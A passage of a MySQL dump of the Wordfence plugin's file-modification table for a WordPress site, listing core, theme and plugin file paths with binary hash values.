('Ŝ\0>j-','wp-includes/blocks/latest-comments/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/latest-comments/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Lt3Ta','<E(SW䮓+|ѫ$4(vWph^d','',0,'?'),
('-plEk/','wp-includes/js/jquery/jquery.hotkeys.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/jquery.hotkeys.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','S!}EU\\bgh=','\ZJ]x ծTc0n9  +Vk','',0,'?'),
('΂v0rm','wp-content/themes/twentytwentyone/assets/sass/05-blocks/rss/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/rss/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6ߔuUQ(AF','̩\ZTQb[cU,s~$F_\ne	','',0,'?'),
('ZTD\r[FcLL','wp-includes/blocks/gallery/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/gallery/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','w1SL0i3','7G\rPY0EG:!\"1^vxk','',0,'?'),
('\nT^GnLh','wp-content/plugins/wordfence/css/wf-onboarding.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/wf-onboarding.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','l-<jR^r','sHp^@V٣2ś	','',0,'?'),
('xxw]3','wp-content/plugins/wordfence/lib/wfScanPath.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfScanPath.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';YkjRzA$20','୹3vQPju$$e܋Hq','',0,'?'),
('	#A\n#b#=','wp-includes/js/tinymce/themes/inlite/theme.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/themes/inlite/theme.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Z=\ro<3E','\";l\0s\'lB3q6)8\n@D','',0,'?'),
('#ҝ	ѨM','wp-content/themes/twentytwentyfive/patterns/template-single-photo-blog.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-single-photo-blog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ANc{cFK6s','aǠ_?\rCWwd)6I','',0,'?'),
('+gq6^\0','wp-admin/images/wheel.png','/home/trevorkl/trevorklee.com/wp-admin/images/wheel.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E0 q0m\ZY%VX','(]:=dqۅO{9ԀvȘ~','',0,'?'),
('7$BG%$TR','wp-includes/SimplePie/src/Parser.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Parser.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(\0xkJo\0_','nF=SFGKo}\'r','',0,'?'),
('@:<o|J-e','wp-content/plugins/wordfence/images/wf-error-badge.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/wf-error-badge.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','EQts	Mzy','殙F`a݀kmEQ+~','',0,'?'),
('dtS0[\\Og:','wp-content/plugins/wordfence/modules/login-security/views/.htaccess','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/.htaccess',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Aabvr','C\'r9@Kކtw#@k','',0,'?'),
('ƅ|_i/y	','wp-includes/js/tinymce/plugins/media/plugin.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/media/plugin.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6\'1Zf ','\n>EQi漺k}îǲ','',0,'?'),
('Ɖ3S+c,N5','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/ControlByte.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/ControlByte.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=x$/\"','HE* dǭl)z8Ӷ','',0,'?'),
('Ət\Zo+ش','wp-includes/blocks/spacer/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/spacer/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','skk3zU)','u2Tz\"-g&]Vj$O>','',0,'?'),
('Ʃ\nВC','wp-content/themes/twentytwentyfour/patterns/posts-images-only-3-col.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/posts-images-only-3-col.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','nQ5l&Bû','Z7PUe\rۖ\ZlY}1','',0,'?'),
('Ƭ+\ZId^i <\0','wp-includes/js/jquery/suggest.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/suggest.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':$tVEʿ','r,Kpŗrq^b\\=rZ]6+','',0,'?'),
('ƬSXZ3','wp-includes/js/dist/plugins.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/plugins.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1{,wnFKWQ$','Sse%?_Ni+JA-B?L	','',0,'?'),
('ۂi]]y^','wp-includes/blocks/query-pagination-numbers/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-pagination-numbers/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
(';VޯnTy ','wp-includes/class-wp-theme-json-resolver.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-theme-json-resolver.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','VPdrv$J','\'(;mBUYOA,J0Ktg-|g','',0,'?'),
('Ցf)cW)֗Og','wp-content/themes/twentytwentyone/assets/js/customize.js','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/js/customize.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','X5%$','}C!Mk;\'?]]VWAeBߊ','',0,'?'),
('몳@ =y`','wp-content/plugins/wordfence/views/options/options-title.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/options/options-title.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ۘj玓݆E','Kxf+eǖ٭ʌm','',0,'?'),
('͌%+e@uQ(','wp-includes/js/dist/editor.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/editor.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2*OXЍ?','Sر-gyR8\0(','',0,'?'),
('=m^D6W','wp-content/themes/twentynineteen/sass/modules/_clearings.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/modules/_clearings.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','vYP\\;4','s3s=#q˞< I\'r&','',0,'?'),
('FUGХdcNC','wp-content/themes/twentytwentyone/assets/sass/05-blocks/paragraph/_editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/paragraph/_editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Al͟\ZԀc','x(Sn\n;y{%_j/','',0,'?'),
('SQsY7aFIMjz','wp-includes/blocks/post-author/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-author/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7C8','KG׷y3W\0Ɋo\Zw\'\r&','',0,'?'),
('W}\rDŬw*','wp-includes/blocks/query-pagination-next/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-pagination-next/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|p$.NWJ','¢JC͊\\t2(1$YSVh8','',0,'?'),
('Z\"A𔆑S','wp-includes/js/dist/script-modules/block-library/file/view.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/file/view.min.asset.php',0,'R`t1\0\Z','R`t1\0\Z','ƦѬ󪉗ſITτ|1N,','',0,'?'),
('^{[b#$Xs','wp-content/themes/twentytwentyfour/patterns/template-index-blogging.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/template-index-blogging.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','jY\',~#Gy ','\0Ñi HpG\ZU/R\n<6','',0,'?'),
('ǂ-i).\\z^a','wp-includes/Text/Diff/Engine/shell.php','/home/trevorkl/trevorklee.com/wp-includes/Text/Diff/Engine/shell.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','tC& wB@','ݙ<J2AQ<NIW|	eW','',0,'?'),
('ǅ99:\Z','wp-includes/cache.php','/home/trevorkl/trevorklee.com/wp-includes/cache.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','VTQ&[+eA','ڋh-lS7p','',0,'?'),
('ǝ^xJB\Z3-6','wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Cached.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Cached.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','G5]{\"V','CJr~WOY*[:[j)GЄe','',0,'?'),
('Ǥ>zԄ!J]>','wp-includes/css/wp-auth-check-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/wp-auth-check-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&nϡ~Ak)\"','^ӹ$Ӈ{ME9:MK\0','',0,'?'),
('ǫ=m/^','wp-admin/includes/schema.php','/home/trevorkl/trevorklee.com/wp-admin/includes/schema.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/U6ΰ','IJBX2a-x h\0!+X^to','',0,'?'),
('ǳ\\_L-YŌ%$','wp-includes/ID3/module.audio.dts.php','/home/trevorkl/trevorklee.com/wp-includes/ID3/module.audio.dts.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','llA2̋','\ZaHr%A6$`HuT6y4','',0,'?'),
('Ǽ=/%@6Dn','wp-content/themes/twentynineteen/sass/modules/_alignments.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/modules/_alignments.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3\\sӳR]iO','̰簃bp4iшB6A','',0,'?'),
('>:lXBùNF','wp-content/plugins/loginizer/assets/images/social/WordPress.png','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/assets/images/social/WordPress.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','JSItv!ue?&',')lCyzzk]ICvWܕ P3','',0,'?'),
('Ҭ@>]','wp-admin/images/contribute-code.svg','/home/trevorkl/trevorklee.com/wp-admin/images/contribute-code.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%\'+c&\"L','RuiKt\Zjl@7#U*A','',0,'?'),
('myvH̍','wp-includes/blocks/table/theme-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/table/theme-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ye_\rk*8','A\'Rr;hWOؔ!F%S_s0 ','',0,'?'),
('wy*XO\nG','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Fe.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Fe.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}&?P!D,\"','}gY/~[-Ԛd	pl9fάs','',0,'?'),
('}CwXTC','wp-content/plugins/wordfence/modules/login-security/img/lightbox-controls.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/lightbox-controls.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','m]a\\$','Ǘh?S):i@h.Xg','',0,'?'),
('w.(S*Ie','wp-content/themes/twentytwentyone/assets/sass/06-components/entry.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/entry.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','nBj',')io[G\ZC)Eϳl\rhd!','',0,'?'),
('q?c*w s\r','wp-includes/blocks/text-columns/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/text-columns/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('\Z{g?3gڢ\Z','wp-admin/images/icons32-2x.png','/home/trevorkl/trevorklee.com/wp-admin/images/icons32-2x.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%*g','#!$@0g.;i3%!cHP=','',0,'?'),
('fp\0!tDK','wp-admin/js/code-editor.js','/home/trevorkl/trevorklee.com/wp-admin/js/code-editor.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','N\'߽	%','-Bd/`\\Vx6Y*-$W','',0,'?'),
('\"u@TS5','wp-includes/images/smilies/icon_idea.gif','/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_idea.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<]W3tށ','{2^4STlIJQ\"','',0,'?'),
('#Ĺ#lX<L','wp-content/themes/twentytwentyfive/patterns/footer.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/footer.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&UgTtΒS','v=MBblw^_X]~={qhjL','',0,'?'),
('6wr]*\\#','wp-content/plugins/wordfence/license.txt','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/license.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B7&]NDd','@HM;ﺾ5 i\'o5V','',0,'?'),
('8R6>G\"','wp-includes/js/dist/element.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/element.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','m\n=WSw)','X2|ڐvmD\rGut9','',0,'?'),
('=J6fz\05+Z','wp-content/themes/twentytwentyfive/assets/fonts/beiruti/Beiruti-VariableFont_wght.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/beiruti/Beiruti-VariableFont_wght.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@^Sd','hCW\ZG	88䇀}Gԡs~','',0,'?'),
('Y$\'o','wp-includes/css/wp-auth-check-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/wp-auth-check-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/I=\Z-','!xa{SB>4U-Cּ\0%?','',0,'?'),
('j{r-7Ϧ8n','wp-includes/block-bindings/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/block-bindings/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('xxj^׀','wp-content/plugins/wordfence/vendor/composer/installed.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/composer/installed.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$SNRcg..3','}[VD痎xc0{\'x v','',0,'?'),
('ȁ#/\06','wp-content/plugins/wordfence/modules/login-security/classes/controller/time.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/time.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<ds/B','\rHSE0>?谩`k','',0,'?'),
('ȍP 3\n','wp-includes/class-wp-customize-control.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-customize-control.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5k]Enf','٦d34\Z)SDW1Aﰺ:	8\\g˃','',0,'?'),
('ȍٶtTl~','wp-includes/js/dist/development/react-refresh-runtime.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/development/react-refresh-runtime.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\M(gɌ#','?l\\^	=nC6}T7','',0,'?'),
('ȑAt^h5e?','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AEGIS128L.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AEGIS128L.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\'l\'SMAZO$㼠','K6elbP&>4\'I\r;Bs','',0,'?'),
('Ȗ`}{D?Z5','wp-includes/blocks/term-count/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-count/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5s2V','+{CP4NT`aߧ+`UeA','',0,'?');
INSERT INTO `wp4v_wffilemods` VALUES
('ȗE-\ZDBO','wp-content/plugins/loginizer/lib/hybridauth/Storage/StorageInterface.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Storage/StorageInterface.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','npX*[','F	8FuU7`E֪Nmˊ`','',0,'?'),
('Ȯ;0;\09Ivȇ','wp-content/plugins/wordfence/js/jquery.qrcode.min.1788880300.js','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/js/jquery.qrcode.min.1788880300.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ԹXp`me<','wP\0pzuYDSz(WߥP3$S','',0,'?'),
('A^\'VUH','wp-content/plugins/wordfence/modules/login-security/css/woocommerce-account.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/css/woocommerce-account.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@R8 OaѲ{Vp','\Z\'>o81cɕ(\\:V&>L]}%','',0,'?'),
('䎔@ĳ\"','wp-includes/js/dist/script-modules/block-library/search/view.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/search/view.min.asset.php',0,'we{ZdOZ','we{ZdOZ','f8\Z?p%ߥfs~r','',0,'?'),
('HE*\0R!o?','wp-includes/js/dist/script-modules/abilities/index.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/abilities/index.min.asset.php',0,'VS5	Ҳwj','VS5	Ҳwj','{>\'ay3BˑHR]e]a#\"','',0,'?'),
('q=~1\Zr~','wp-includes/SimplePie/library/SimplePie/Parse/Date.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Parse/Date.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@p i~HE','Cu3fq>2;cDG','',0,'?'),
('~\r\ZK4(#','wp-admin/user/credits.php','/home/trevorkl/trevorklee.com/wp-admin/user/credits.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(팋#A;','uA+I/㊓\0nN1G8\ZD-','',0,'?'),
('+\Zϔ=NX','wp-includes/block-supports/anchor.php','/home/trevorkl/trevorklee.com/wp-includes/block-supports/anchor.php',0,'s=S=:BZ','s=S=:BZ','OD,ABk]LZȑOv\'j','',0,'?'),
('\'qRBIo\0','wp-content/themes/twentytwentytwo/inc/patterns/query-default.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/query-default.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','D2gY','z+cCL#eBP4 v','',0,'?'),
('19WuӀ4B','wp-includes/blocks/query-no-results/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-no-results/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','rڠB0*}3','*Lo^7&D־2Sַ3A}\r','',0,'?'),
('44̛7t,$','wp-includes/blocks/comment-template/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-template/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('A7\'C#wSs','wp-admin/css/about.css','/home/trevorkl/trevorklee.com/wp-admin/css/about.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(LS ','RHc^I,P/$?aI,\"Lb;','',0,'?'),
('lXwB*XW','wp-content/plugins/wordfence/images/sort_asc_disabled.gif','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/sort_asc_disabled.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Oɧ*X9e','v\Z|5.YX Z鹁Ź','',0,'?'),
('p\rso4d','wp-includes/Requests/src/Exception/Http/Status400.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status400.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','GlC\Z }*b\n9]','|-;[e6U*|DC3','',0,'?'),
('ɀA[+\ZrB','wp-includes/SimplePie/src/Parse/Date.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Parse/Date.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','W\'1Զ@','Ǯ݅S\r!Kf;٘','',0,'?'),
('Ɇ8pŻѵV','wp-content/plugins/wordfence/lib/wfActivityReport.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfActivityReport.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','j{az','Cg\r×9qZA:E','',0,'?'),
('ɡʧ~.)k','wp-admin/includes/class-custom-background.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-custom-background.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0Ι?:$ѴH','ԗ>BTMa%@<\ZqwE$','',0,'?'),
('ɲt85TM\'l','wp-content/themes/twentytwentyfour/patterns/footer-centered-logo-nav.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/footer-centered-logo-nav.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','BU/LZ\nY*%.','酺o)	Jymվs@O','',0,'?'),
('lQ[1','wp-content/themes/twentytwentyone/assets/css/style-editor-customizer.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/css/style-editor-customizer.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ty\"Ys','32/ιDpnXe\0uQ\nO#G','',0,'?'),
('2Die','wp-admin/css/l10n.css','/home/trevorkl/trevorklee.com/wp-admin/css/l10n.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\'BFUbB@\r','\Z67`l \Z֘\'VwLS4U','',0,'?'),
('?\"&-j','wp-content/plugins/wordfence/modules/login-security/classes/utility/nulllock.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/utility/nulllock.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!yNќz','ݩ\0$\no[\\q͞rv\"/','',0,'?'),
('h&\'s','wp-includes/blocks/search/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/search/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&W+','S(g%$%p+3\\:5','',0,'?'),
('\nP/:]<B','wp-includes/sodium_compat/src/Core/AEGIS/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/AEGIS/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
(' tdrlPj','wp-includes/css/dist/widgets/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/widgets/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','z)2.Bi','2țPd+Icom&b*)4','',0,'?'),
('(q4P}5Ozk','wp-admin/js/inline-edit-tax.js','/home/trevorkl/trevorklee.com/wp-admin/js/inline-edit-tax.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_hA?D','LZV(j0~\Z3u)ztef\nO','',0,'?'),
('5/̔kwʯ','wp-includes/interactivity-api/interactivity-api.php','/home/trevorkl/trevorklee.com/wp-includes/interactivity-api/interactivity-api.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','KDpC,P	:','`ЛKH~BýxBǜK#l%','',0,'?'),
('Rш޿0','wp-admin/css/themes.css','/home/trevorkl/trevorklee.com/wp-admin/css/themes.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','xq+qx2iZz',':8kH[-D6G\0%.','',0,'?'),
('X:j|ަo','wp-includes/SimplePie/src/Rating.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Rating.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','lIAH\nO','\nTTx\'St@?I	','',0,'?'),
('Z*h\\[\Zv','wp-includes/blocks/accordion.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/accordion.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ulC:0O','	cbO_6I\r91(MGBjV','',0,'?'),
('hFM<@`%q-','wp-admin/includes/class-wp-filesystem-direct.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-filesystem-direct.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','WĦ5iLb','Czɔ] +I7&4MhF7mN9[','',0,'?'),
('r{\Zk\"k','wp-admin/css/site-health-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/site-health-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+ƕ=ɇh',']RΥPbĨaZ2^^RnK{X','',0,'?'),
('xjP!cx','wp-admin/plugin-install.php','/home/trevorkl/trevorklee.com/wp-admin/plugin-install.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^vP}s5Kk','J\rˊUP|_=-6k5','',0,'?'),
('ʁ	i:gy','wp-includes/blocks/search/theme.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/search/theme.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','z嘻S','-Nk\",[[j_t -XO','',0,'?'),
('ʊ2%+a_LF','wp-includes/blocks/columns/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/columns/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','kGm#e\\','GRP9&4hNrNLW@\\nϮ','',0,'?'),
('ʵs	R>?','wp-content/themes/twentytwentyone/page.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/page.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','G:Ll}\0!%','mDTZ\rτ(czGܟKl@Kv','',0,'?'),
('&~sXm','wp-content/themes/twentytwenty/style-rtl.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?L%&`','$	@cK댮hQ_$n!','',0,'?'),
('o<HZQ~ن','wp-includes/script-modules.php','/home/trevorkl/trevorklee.com/wp-includes/script-modules.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','x9\n{8LMW','aL&T5K7.;%qQLքbj;<','',0,'?'),
('	b8[y','wp-includes/js/wp-emoji-release.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-emoji-release.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','̛F=R~','U~Wnqpw\nD62X','',0,'?'),
('5O~Yr=$gKr','wp-content/themes/twentytwentyfive/patterns/services-team-photos.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/services-team-photos.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','iVuLHۨ','2vPD),DR+HɌE+u','',0,'?'),
('O忯uRc[j','wp-includes/sodium_compat/namespaced/Core/HSalsa20.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[clru	Сu^','6p\'`+*[AG4^6Ŋ%C','',0,'?'),
('䌊\0;Ya)ۨ','wp-includes/js/dist/script-modules/block-library/query/view.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/query/view.min.asset.php',0,'lyw-;n','lyw-;n','~&=83tg	(\'\\6ml{','',0,'?'),
('n7J\Zq11','wp-includes/fonts/class-wp-font-collection.php','/home/trevorkl/trevorklee.com/wp-includes/fonts/class-wp-font-collection.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%iqD\\uF %','yU̮v灛 \rQ\0]\\\\/','',0,'?'),
('!#I|F','wp-includes/js/tinymce/plugins/directionality/plugin.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/directionality/plugin.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&\"X	& )=ʀ$','&[@5(cvLYI6B;)-','',0,'?'),
('5Vx,$>7dk','wp-includes/sodium_compat/namespaced/Core/X25519.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/X25519.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ڸb9M','F/\'M%9}@fW>S*m','',0,'?'),
